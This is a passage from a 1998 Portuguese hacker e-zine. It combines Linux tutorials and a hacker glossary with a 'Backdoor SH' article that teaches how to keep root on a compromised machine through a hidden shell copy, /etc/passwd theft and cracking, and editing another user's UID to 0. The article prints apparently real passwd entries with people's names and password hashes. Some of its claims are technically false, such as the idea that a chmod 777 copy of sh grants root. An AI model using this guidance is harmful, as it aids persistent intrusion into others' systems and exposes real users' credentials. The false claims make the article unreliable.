Se o manual existir, ele ser mostrado, e seus problemas acabaro. Para sair dos manuais, aperte a tecla Q.
Geralmente, os manuais tiram a maioria de suas dvidas... No deixe de consult-los! 

================================================================
5.  Usando o LILO para gerenciar parties

O LILO(Linux Loader)  um utilitrio do linux que gerencia as parties.
Ele  usado pela maioria como um "boot manager" que divide cada boot para 
cada tipo de sistema. Nos computadores caseiros, geralmente se encontra
outros sistemas, e por isso eles utilizam o LILO para que escolham o sistema que
queira usar neste momento.

O LILO tem seu arquivo de configurao em /etc/lilo.conf
L ele armazena as informaes necessrias para que ele faa a "diviso" de
parties.

Um arquivo de configurao comum para 2 sistemas (Linux+Win95)  esse:

---

# LILO configuration file
#
# Start LILO global section
boot = /dev/hda
#compact        # faster, but won't work on all systems.
delay = 50
vga = normal    # force sane state
ramdisk = 0     # paranoia setting
# End LILO global section
other = /dev/hda3
  label = win95
  table = /dev/hda

image = /vmlinuz
  root = /dev/hda1
  label = linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking

---

Vamos agora ver as partes do arquivo passo a passo:

1. A linha: boot = /dev/hda

   Ela indica onde ser o funcionamento do LILO, nesta linha, o LILO 
   est configurado para rodar no MBR. Mas podemos mudar o /dev/hda 
   para outro tipo de funcionamento. Um exemplo  colocar para funcionar
   em um disquete: substituimos o boot = /dev/hda pelo boot = /dev/fd0
   (ou fd1, fd2... dependendo daonde est seu driver de disco)

2. delay = 50

   Esta linha indica em quanto tempo a partio padro (voc ver mais 
   a frente) vai entrar automaticamente, ou seja, sem voc mexer em nada.
   Essa linha est configurada para rodar em 5 segundos.

Agora vamos ver como configurar quais parties esto disponveis.
A linha que coloca a partio disponvel ...

Para uma partio linux:
---
image = /vmlinuz
  root = /dev/hda1
  label = linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking
---
As nicas partes em que voc deve mudar so as linhas: 

root = /dev/hda1 <--- em vez de /dev/hda1 coloque a partio linux
                               e
label = linux <--- Onde tem linux voc muda se quiser por uma palavra-chave qualquer



Para uma partio de outro tipo:
---
other = /dev/hda3
  label = win95
  table = /dev/hda
---
As nicas partes em que voc deve mudar so as linhas: 

other = /dev/hda3 <--- em vez de /dev/hda3 coloque a partio que voc queira
label = win95 <--- Onde tem win95 voc muda se quiser por uma palavra-chave qualquer.
                               e
table = /dev/hda <--- Voc coloca em que "table" est a partio (/dev/hda3)

Pronto. E assim voc vai montando um lilo.conf variado com o que voc quiser.
Outra coisa  usar o liloconfig, que cria o lilo.conf com menus grficos.
Se voc tiver dvidas, me contacte que tentarei tir-las.

================================================================
6.  Utilizando um disco flexvel no Linux

Para montar um floppy disk, isto , um disco flexvel, voc ter que
utilizar o comando 'mount'. Voc ter que ter o driver e o device 
respectivamente (fd0, fd1, fd2, etc). Ento voc dever digitar:

mount /dev/fd0 /diretrio_ao_disco_ser_acessado

Um exemplo:

mount /dev/fd0 /mnt/disk

Isto far com que voc acesse o disquete que est no drive atualmente. 
Quando voc quiser retirar o disco geralmente deve-se 'desmont-lo' primeiro. Digite:

umount /dev/fd0

Voc pode tambm fazer o seguinte, criar um script, que se chama,
por exemplo de 'diskon' (Para ativar) e 'diskoff' (Para desativar). 
Ento para melhor utilizacao, coloque este arquivo em um diretrio
PATH, ou ento coloque o PATH no diretrio onde voc quiser colocar
os scripts.

================================================================
7.  Configurando seu PATH

Para ver os atuais diretrios que esto como PATH, digite o seguinte:

echo $PATH

Se o diretrio desejado no estiver na lista, coloque-o assim:

PATH=$PATH:/diretorio/a/ser/colocado/no/path

Isso colocar o /diretorio/a/ser/colocado/no/path no PATH.


Obs: Essas instrues so vlidas somente para uma seo! Ou seja, 
     so temporrios. Se voc quiser colocar um PATH permanente, 
     coloque num profile pessoal. Se quiser ser um PATH GLOBAL, coloque
     o diretrio no arquivo /etc/profile aonde indicado.

================================================================
8.  Manipulando usurios em seu Linux

Para adicionar um usurio em seu sistema, voc deve proceder
assim:

- Digite o comando 'adduser';
- O sistema vai pedir o Login, escolha-o;
- Depois vai pedir uma srie de coisas, aperte (enter) at aparecer 'password';
- Escolha o password e pronto. O usurio foi cadastrado no arquivo /etc/passwd .

Se este usurio quiser acessar permisses de outros usurios, o seguinte
comando deve ser usado: su (usuario)

Depois de ter digitado isso, o sistema vai pedir o password do (usurio),
coloque-o e assim, voc poder acessar tudo o que o outro acessa.
Para sair desse 'acesso' ao seu login normal, digite 'exit'

Obs: O usurio root  o administrador do sistema, ou seja, ele controla 
TUDO. Alis, ele que d as permissoes para outros usurios. Ento lembre-se, 
se voc for cadastrar um usurio voc deve estar com o poder do root.

Para apagar um usurio, deve-se proceder assim:

- Edite o arquivo /etc/passwd e procure a linha equivalente a:
  (usurio):(senha criptografada):(ID do grupo):(Grupo):(Home):(Shell);
- Retire esta linha, e o login no mais existir;
- Apague o diretrio HOME do usurio(se existir);
- Apague o arquivo /var/spool/(usuario) e pronto. Descadastrado.

Dica:  aconselhvel voc adicionar um login diferente de root, para
que voc no faa nenhuma 'besteira sem querer' ao usar o login do root, mas
quando voc quiser usar o root como usurio, utilize o comando 'su', que voc
pode ver logo acima.

Criando outro usurio com o poder de root:

Proceda assim:

- Faa os procedimentos de criar um usurio normal;
- Edite o /etc/passwd com um editor de texto comum;
- V na linha do usurio e edite para:
  (usurio):(senha criptografada):0:0:(Home):(Shell) e pronto
                                  ^ ^

Ento o usurio ter todo o poder do root por padro.

================================================================
9.  Gerenciando Device Drivers

Para consultas rpidas... pode ser til!

---
Modem:

COM1 = /dev/cua0
COM2 = /dev/cua1
COM3 = /dev/cua2
COM4 = /dev/cua3
Links simblico para a j configurada = /dev/modem

Mouse:

COM1 = ttyS0
COM2 = ttyS1
COM3 = ttyS2
COM4 = ttyS3
Links simblico para a j configurada = /dev/mouse
---

Para criar os devices, use o script /dev/MAKEDEV
Digite man MAKEDEV para mais informaes.

================================================================
10.  Recompilando seu kernel

Para recompilar seu kernel para uma verso nova que voc pegou faa o seguinte:

cd /usr/src
rm -rf linux
tar xvfz ondeeleestiver/linux-2.0.30
ln -s linux-2.0.30 linux
cd linux
make menuconfig
make dep
make clean
make zImage
cp /usr/src/linux/arch/i386/boot/zImage /boot/vmlinux
make zdisk
make zlilo
make modules 
make modules_install
lilo
init 6

Neste exemplo, usamos o linux-2.0.30 que  a atualizao para o kernel 2.0.30.
Agora se voc quer recompilar seu kernel sem a atualizao, somente para reconfigurar ele, v direto ao:

cd /usr/src/linux
make menuconfig
make dep
make clean
make zImage
cp /usr/src/linux/arch/i386/boot/zImage /boot/vmlinux
make zdisk
make zlilo
make modules 
make modules_install
lilo
init 6

E prontinho... Para informaes mais detalhadas, consulte o Kernel-HOWTO.

================================================================
11.  Permisses

ara saber se um programa  executavel ou no, execute um 'ls -l' e veja
no lado esquerdo se o arquivo tem X nos seus argumentos, como
no exemplo abaixo:

drwxr-xr-x   2 root     root         1024 Dec 23 15:22 bin
drwxr-xr-x   2 root     root         1024 Dec 31 05:48 boot
drwxr-xr-x   2 root     root         1024 Dec  6 15:51 cdrom
drwxr-xr-x   3 root     root         8192 Mar 11 10:17 dev
drwxrwxr-x   2 root     root         1024 Feb 27 13:52 dosa
dr-xr-xr-x  11 root     root         2048 Mar 11 10:19 etc
drwxr-xr-x  11 root     root         2048 Feb 23 19:08 home
drwxr-xr-x   3 root     root         1024 Feb 23 19:13 lib
drwxr-xr-x   2 root     root        12288 Nov  2 11:25 lost+found
-rwxr--r--   1 root     root           57 Mar 10 03:44 make-backup
-rw-rw-r--   1 killer   users        2342 Mar 10 03:12 teste.txt
-rw-rw-rw-   1 fernando visits      23412 Mar 09 22:22 teste2.doc

        No exemplo acima todos os arquivos tem como dono root e como 
grupo tambm root, com exceo do 'teste.txt' que o dono  'killer' e o 
grupo  'users', e tambm 'teste2.doc', no qual 'fernando'  o dono e o 
grupo 'visits' tambm  dono.
        Como voc pode ver do lado esquerdo de cada arquivo/diretrio 
existe um srie de letras r, w, x ou d! Vamos ver o que representa cada 
uma delas:

drwxrwxrwx
0111222333

        No caso acima, a primeira coluna significa (numero 0) se o nome 
listado eh um diretrio ou no, caso no seja um diretrio ele ser 
exibido da seguinte maneira:

-rwxr--r--   1 root     root           57 Mar 10 03:44 make-backup
|
\-----------> No contm a letra 'd', no  diretorio, e sim arquivo!!!

        O exemplo abaixo mostra o que seria um diretrio:

drwxr--r--   1 root     root            1 Mar 10 01:12 bin
|
\-----------> Contm a letra 'd' na primeira coluna,  um diretrio!!!

        Continuando, na segunda coluna (numeros 1 de acordo com o exemplo mais 
acima) temos as definies para o dono do arquivo, como mostra o exemplo:

-rwxr--r--   1 killer   users        1231 Mar 09 12:12 teste.txt
 |||
 ||\--------> O dono do arquivo (killer) pode executar o arquivo, x=executable!
 |\---------> O dono do arquivo (killer) pode gravar no arquivo, w=writable!
 \----------> O dono do arquivo (killer) pode ler o arquivo, r=readable!

        Seguindo, na terceira coluna (numeros 2 de acordo com o exemplo 
l em cima, hehe) temos as definies para o grupo que  dono do 
arquivo, como mostra o exemplo:

-r--rwxr--   1 fernando visits        212 Mar 01 12:42 exemplo.doc
    |||
    ||\-----> O grupo dono do arquivo (visits) pode executar o arquivo!
    |\------> O grupo dono do arquivo (visits) pode gravar no arquivo!
    \-------> O grupo dono do arquivo (visits) pode ler o arquivo!

        Finalmente, temos a quarta coluna (composto pelos numeros 3), 
essa coluna se refere as permisses para todos os outros usuarios do 
sistema, sem ser os donos e grupos-donos dos mesmos, exemplo:

-r--r--rwx   1 fernando visits       1231 Mar 03 12:42 exemplo2.doc
       |||
       ||\--> Todos os usurios (exceto fernando e usuarios do grupo visits)
       ||                        tem permisso para acessar o arquivo!
       |\---> Todos os usurios (exceto fernando e usuarios do grupo visits)
       |                         tem permisso para gravar no arquivo!
       \----> Todos os usurios (exceto fernando e usuarios do grupo visits)
                                 tem permisso para ler o arquivo!

        Quando nos referimos a diretrio invs de arquivos, o FLAG x 
(executvel) diz se o diretrio  ou no acessvel, j que no podemos 
"EXECUTAR" diretrios... Exemplo:

drwxr--r-- 1 root       root         2134 Mar 01 12:54 exemplo3
|||||  |
|||||  \----> Todos os usurios podem ler o interior do diretrio, mas no
|||||         podem usar o comando 'cd' para entrar nele, pois no existe
|||||         o FLAG 'x' para a quarta coluna!
||||\-------> Usuarios do grupo 'root' podem ler o interior do diretrio,
||||          mas tambm no podem usar 'cd' para entrar no diretrio!
|||\--------> O usurio 'root' pode usar 'cd' para entrar no diretrio!
||\---------> O usurio 'root' pode gravar arquivos nesse diretrio!
|\----------> O usurio 'root' pode ler o interior desse diretrio!
\-----------> Indica que o nome listado  um diretrio!

        O comando chmod pode ser usado para mudar os FLAGS 'rwx' dos 
arquivos e/ou diretrios, a sintaxe bsica :

chmod [ugoa]{-+}[rwx] nome_do_arquivo_ou_diretrio

        Exemplo:

chmod u+rw arquivo1.txt

        No exemplo voc mudar a permisso para o dono do arquivo (u = 
user) pode ler e gravar (rw) no 'arquivo1.txt'...
        Caso voc queira desfazer o comando, voc faria:

chmod u-rw arquivo1.txt

        Como se ve, o + ou - define se os FLAGS serao ativados ou desativados!
        Outros exemplos:

chmod a+r arquivo2.txt (Todos usurios (a=all) podem ler o 'arquivo2.txt')
chmod o+w arquivo3.txt (Outros usurios (o=others) sem ser o dono e o grupo
                        dono do arquivo, podem gravar o 'arquivo3.txt')
chmod g+x netscape     (O grupo-dono do arquivo (g=group) pode executar o
                        arquivo 'netscape')

        O comando chmod pode tambm ser usado com nmeros, em vez dos flags, 
como mostra o exemplo:

chmod 664 arquivo.txt

        O que quer dizer cada um desses nmeros? Veja abaixo:

0 = nenhuma permisso
1 = permisso para executar
2 = permisso para gravar
3 = permisso para gravar e executar
4 = permisso para ler
5 = permisso para ler e executar
6 = permisso para ler e gravar
7 = permisso para ler, gravar e executar

        No exemplo o comando informou que o 'arquivo.txt' pode ser lido e 
gravado pelo seu dono (numero 6 na primeira coluna), informou que pode 
tambm ser lido e gravado pelos usurios que compem o grupo-dono (numero 6 
na segunda coluna), e informou que pode ser lido por todos os outros 
usurios do sistema (numero 4 na ultima coluna).
        O comando chown  simples e pode ser usado da seguinte maneira:

chown usurio.grupo nome_do_arquivo_ou_diretrio

        Como exemplo, vamos definir que um arquivo 'teste4.txt' ter
como dono 'killer' e como grupo 'users':

chown killer.users teste4.txt

        Outros exemplos:

chown mrdvs.visits teste5.txt
chown jackie.jackie teste6.txt

---------------------------[Cut Here]--------------


Por hoje esta bom, na prxima zine tem a terceira parte.


'GhOsT InVaDeR


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


VOCABULARIO : by GhOsT InVaDeR
-=-=-=-=-=-


Bom, eu resolvi escrever sobre isso depois de receber varias perguntas de
newbies no IRC querendo saber o que eh um lammer, o que eh um newbie, o que
eh shell etc...

Obs: Todas as definicoes aqui contidas sao resumidas e de meu ponto de vista.




HACKER: No significado da palavra, hacker quer dizer fucador, ou seja, qualquer
pessoa que tenha um micro e tenta tirar proveito de todas informacoes ali
contidas.
Mas na visao geral hacker significa piratas de computador, individuos que
conseguem invadir sistemas e roubar senhas.


LAMMER: Cara que nao sabe nada, nem tenta aprender nada e que se auto intitula
hacker.
Geralmente so sabem nukar, pegar PASSWD com shadow etc... ;]


NEWBIE: Individuo que contem pouco conhecimento, mas que tem facilidade e
vontade de aprender ao contrario dos lammers.
Resumindo, um newbie eh um hacker iniciante.


SHELL: Shell na verdade significa varias coisas, principalmente nos sistemas
Unix e Linux, que define permissoes e grupos de usuarios.
Mas a shell que a maioria dos usuarios de IRC se referem, sao contas (senhas)
de usuarios que dao acesso a telnet.


ROOT: Administrador ou usuario com o maior poder sobre sistemas Unix e Linux.
Ele tem permissao para controlar qualquer arquivo ou usuario do sistema.


BACKDOOR: Meio utilizado para garantir a reentrada nos sistemas, geralmente
utilizado para pegar novamente o acesso root.


EXPLOITS: Programas em C que exploram as falhas nos sitemas linux e unix.
A maioria dos exploits servem para lhe dar acesso root logando como um
usuario comum.


IRC
----


CHANSERV: Servico das redes irc para registrar canais, dar e receber op etc..


NICKSERV: Servico das redes irc para que um usuario possa registrar seu nick,
deixando assim o mesmo protegido com senha.


MEMOSERV: Servico das redes irc para deixar mensagens para algum usuario
que nao esteja na rede no momento.
Obs: So funciona com nick registrado.


BITCHX: Cliente IRC para linux, geralmente acompanhado de scripts como ICE.bx.


MIRC: Cliente IRC para windows.


SCRIPTS: Rotinas escritas em .ini para melhorar o seu cliente irc.


NUKE: Envia pacotes de erros para a porta do cliente e servidor da vitima,
fazendo a mesma se desconectar do irc com a seguinte mensagem:
(Conection reset by peer)


IRCOP: Sao uma especie de policiais da rede irc.
Mas na verdade nao fazem nada que presta como os policiais comuns.
(Pude comprovar isso quando pedi op no meu propio canal quando o chanserv
tinha caido)



Bom, por enquanto foi isso que me veio na cabeca.
Se desejam ver outros significados aqui mail-me.


GhOsT InVaDeR,
ghostin@freemail.globalsite.com.br




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=



BACKDOOR SH : by GhOsT InVaDeR
-=-=-=-=-=-


Seguinte, eu nao acho que backdoor (porta dos fundos ) seja a melhor maneira
de definir esta "tatica" que irei falar, mas tb nao ah outra melhor.
Bom, o maior desafio de um hacker eh conseguir pegar root em um sistema e
poder fazer simplesmente ALL.
Mas da ateh pena em saber que depois voce nao podera voltar e conseguir o
acesso root novamente a nao ser que voce instale uma boa backdoor.
Todos sabemos que cada usuario tem uma shell no sistema Unix ou Linux, ate
mesmo o root.
Muitas pessoas que frequentam o irc pensam que shell e apenas uma conta
que da acesso a telnet.
Resumidamente pode ate ser isso, mas vai muito alem desta definicao o poder
da shell.
O arquivo shell fica a maioria das vezes no diretorio /bin/sh e
define o UID, GID, etc do usuario.

Ex:
Voce conecta com um login= james  senha=banana.
Entao automaticamente a shell do usuario eh executada e o sistema identifica
o ID do usuario e que tipo de acesso e permissao ele tem.
Digamos entao que eu quero saber o id deste usuario.
Entao eu digito id

$ ID
james UID=10156 GID=4 bla bla bla bla bla bla bla


Putz, com esse id ele nao pode acessar quase nada no sistema.
(Lembrando que quanto maior o UID menor sao suas permissoes no sistema)

Agora digamos que voce conecta como root.
O esquema eh o mesmo, o sistema executa o /bin/sh e identifica qual seu
acesso e que permissao ele tem.
No caso, total.
Mas digamos que voce deseja conferir o id.
Entao digite no prompt:

$ ID
root UID=0 GID=0 bla bla bla bla bla bla bla

Ai voce pensa:
__Ahhhh, o esquema ta todo naquele arquivo sh que fica no /etc.

Isso mesmo.
Agora, o que isso tem a ver com backdoor??
Bom, supondo que voce esteja com acesso root, siga esses passos:


1) Escolha um diretorio nao suspeito ou crie um subdir.

2) Copie o /bin/sh pra dentro dele
obs: de preferencia oculto, salve com o ponto na frente .sh

3) Agora de permissao a ele para que qualquer usuario possa executa-lo
   use: chmod 777 .sh

4) Pegue o /etc/passwd (voce tambem pode criar um usuario com shell no sistem
a, mas eh muito arriscado)

5) Saia do sistema e desencripte o passwd.

6) Escolha um usuario qualquer que tenha shell e volte no sistema

7) Execute o .sh que voce copiou e bingo!! voce tem id de root

8) Digite ID para conferir seu uid.


Simples mas eficaz.
Ahh, voce nao entendeu?
entao vou passar o que fazer em comandos:



COMO ROOT FACA:

$ cp /bin/sh /tmp/.sh

$ chmod 777 /tmp/.sh

$ cat /etc/passwd (ou crie um usuario: adduser login_cara)

$ logout


desencripte uma senha ou entre com a conta que voce criou.


COMO USER COMUM FAA:

$ ID
james UID=10156 GID=4 bla bla bla bla bla bla bla

$ cd /tmp

$.sh

$ ID
root UID=0 GID=0 bla bla bla bla bla bla bla

BINGO!!
Agora voce tem o id de root.

Ah outra forma de usar o UID e GID.
Digamos que o provedor que voce esteja eh bem grande e contem uma vasta
lista de usuarios que contem shells em seu passwd.
Agora fica facil, basta editar o /etc/passwd e mudar o UID e GID de algum
usuario para 0.

Obs: Nao esqueca que esse metodo eh arriscado, e que se o usuario que voce
escolheu mudar a senha voce nao podera voltar mais.

Obs2: Confira se nao ha um backup do passwd, geralmente -passwd, passwd-,
.passwd etc...

Vou supor que la tenha o editor pico:

$ PICO /etc/passwd

                    ______mude aqui
                    | |
pparo:CMjZikulXQqK.:0:0:PAULA DORNHOFER PARO:/home/EE97/pparo:/etc/sh
goroh:grwta/Jaq5vpg:10272:1011:Andre de Oliveira Fernandes - 900160:/home/EC90/goroh:/bin/csh
teixeira:bNTBqVVSd5zCI:10495:1011:Gustavo F. Teixeira:/home/EE93/teixeira:/bin/csh
rodolfon:0AzVjyyD40TFU:10177:1011:Rodolfo Jose Leite Netto:/home/EE92/rodolfon:/bin/csh
isa9000:yOs699b9JJ4I6:10632:1011:Isabella Sousa Carreira:/home/EE93/isa9000:/bin/csh
daniloa:sfsS0gQr.J.zM:9399:1011:DANILO ANGELO - 950424:/home/EC95/daniloa:/bin/csh
alcaraz:QswOnrLt/sn62:10209:1011:Carlos Alberto Duarte Alcaraz:/home/EE92/alcaraz:/bin/csh
pinho:GHV/.J8MdGdBU:10256:1011:Fernando Correa de Araujo Pinho:/home/EC91/pinho:/bin/csh
hideo:lLt//EJT7klnE:10186:1011:Edson H. Fujishima - 930187:/home/EE93/hideo:/bin/csh
tatiana:zCr9VVfVXDLpM:10750:1011:Tatiana Steckelberg Iwashima:/home/EC93/tatiana:/bin/csh
mauric0:rPmUtvNcTtZt2:10190:1011:Mauricio Dester:/home/EE87/mauric0:/bin/csh

:aperte ctrl + x pra sair e salve quando solicitado.

$ logout

agora volte com o login e a senha deste usuario que voce alterou o id
que voce ja entra com ID 0 (acesso total)



' GhOsT InVaDeR 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



MAILS DOS LEITORES 
-=-=-=-=-=-=-=-=-=-



X-Sender: ????????@????????
Date: Sat, 24 Jan 1998 22:32:08 -0200
To: uhf@freemail.globalsite.com.br
From: Silence Of The Night ??????????????????
Subject: Boa ......

  

>   	HI, pessoal da UHF, eu sei que eu saco escrever para ninguem ver, mas
>quando eu li a zine de
>vcs eu adorei. Eu ja li a Axur05, Barata Eletrica( Milhares de anos A.C. >
>hehehe! :) ), hac2600
>se nao me engano, ABBA, e muitas outras, e espero que vcs continuem como
>ela, ajudando todos 
>aqueles que como eu amam o linux, mas nao tem informacoo e nem software
>para eles. Vc poderiam 
>editar dicas para linux e como fazer no linux. Colocar e disposicao na HP
>de Vcs o softs 
>necessarios. Pois eu mesmo estou a duas semanas atras do netscape do linux
>e nao acho direito 
>sempre com erro. Seria bom assim uma assinatura, pois quando vcs lancam a
>zine, manda-la para
>quem assinou. Eu conheco aqui na minha cidade 6 hackers, dos quais eu acho
>que sao os unicos 
>daqui, apenas um que conheco tem o conhecimento para entrar no servidor sem
>pagar por isso( Odeio
>pagar, por uma coisa que sera indispensavel no futuro, po se nao tivesse
>que pagar eu poderia 
>acessar muito mais tempo e usar o dinheiro do servidor na conta telefonica,
>que por sinal e bem 
>alta.) Eu tenho Internet a uma 1/2 semana, e estou prendendo agora as
>manhas, mas mesmo sem
>ela eu ja curtia o linux. E queria conseguir instalar net nele, mas eu nao
>sei nada "nada" mesmo
>de como fazer isso.(Se pudessem, me ajudar eu seria grato.) Nos devemos nos
>ajudar, pois 
>Bill gates simplesmente teve sorte de fazer o Ruwindows, pois se eu morasse
>no vale do silicio a 
>20 anos atras, eu teria inventado coisas muito mais uteis. Eu nao vou
>passar mail para os que 
>escreveram, pois eu nao tenho pgp, e ai... Eu ja escrevi demais. Onde posso
>assinar mais Zines 
>de Hacking? Vcs podem me ajudar na questao da net? Obrigado por vcs
>existirem, pois poucos 
>entendem porque passo tanto tempo na frente do computador. 
>
> Ha, na sua HP o BitchX, e alguns scripts nao da download....
>
>  Desculpem os erros de Pt e algum outro...
>Silence Of The Night.
>


Sobre o LINUX nesta edicao ja tem algumas dicas e prometo colocar mais nas
proximas edicoes.
Os problemas na HP e assinatura ja esta sendo solucionado.
tks pelo mail ;]


----------
X-Sender: ???@?????
Date: Thu, 22 Jan 1998 15:56:57 -0200
To: ghostin@freemail.globalsite.com.br
From: Hugo Cisneiros <????@??????>
Subject: Zine UHF


>Falae brother,
>
>   Nao sei como, sua zine foi parar nos meus attachs! :)))))))) Pura magica!
>   Estou lhe escrevendo para parabenlizar vcs pelo trabalho que estao
>fazendo... realmente, isso ajuda muito. Bem, como voce ja deve saber, sou o
>cara que fez o The Linux Manual. Queria avisa-lo que voce fez otimo em
>coloca-lo na zine :) Tb poderia colocar o link dela (nao sei se voce sabia)
>que eh:
>
>http://www.netdados.com.br/tlm/
>
>   Agora deixando de lado as baboseiras... :) Sempre fui interessado em
>escrever em zines, etc, mas nunca achei uma realmente "estavel" para mim,
>achei essa ateh uma boa. Quem sabe, eu poderei ser um integrante... tenho
>apenas 14 anos (blergh, ainda sou um guri ! ) e nao tenho muita experiencia
>no assunto. Sou viciado nas zines que pego por aih... sempre buscando
>conhecimento. Voce nao poderia me dar um toque aih pra eu ajudar a zine...
>falow? tipo... o que devo escrever e tal.
>
>   Valew a atencao, e estou disposto aih, se precisarem.
>


Hugo, nos que agradecemos por ter criado um otimo manual sobre linux.
Sobre ser editor, acho que pode dar certo devido ao seu grande conhecimento
em linux.
Logo entrarei em contato.



-------
Date: Sat, 17 Jan 1998 18:00:05 -0200
From: Dantas <dantas@roadnet.com.br>
Reply-To: dantas@roadnet.com.br
Subject: Parabens!


>Gostei muito desse site eh bastante instrutivo para quem esta comecando 
>como eu, espero que voces continuem com os zines eles foram muito bem
>feitos.
>

Tks man ;]

--------------


Caso tambem queiram mandar mails (que eh nosso incentivo),


uhf@freemail.globalsite.com.br
http://uhf.home.ml.org




=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


EDITORES DESTA EDICAO:
-=-=-=-=-=-=-=-=-=-=-



GhOsT InVaDeR............ ghostin@freemail.globalsite.com.br

_Daniel.................. _daniel@brasirc.com.br

SUiCIDE................. ????@???????????

_Brain_.................. nantonio@csn.com.br

Hightech................. twilight20@hotmail.com.br



=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



ULTIMATE
-=-=-=-=-

Obrigado por ler nossa zine, esperamos que a proxima edicao saia na
data prevista, caso nao saia nao se preocupem, se houver pelo menos
um mail nos incentivando, CONTINUAREMOS sempre aqui!!! :))





\_\_________________________/_/______
|_\_\___Ruindows_95________/_/_|_|-|X|      
|   \ \                   / /        |     
|     \ \   WINDOW SUX!! / /         |     
|       \ \   Fuckyou   / /          |
|         \ \Bill Gates/ /           | DELTREE \WINDOWS, INSTALL LINUX NOW!!
|           \ \       / /            |
|             \ \    / /             | 
|               \ \ / /              |
|                 \/\/               |
|_________________/_/\_\_____________|
by Ghost Invader / /   \ \
                / /      \ \
               / /        \ \
              / /           \ \




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=END OF ZINE-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


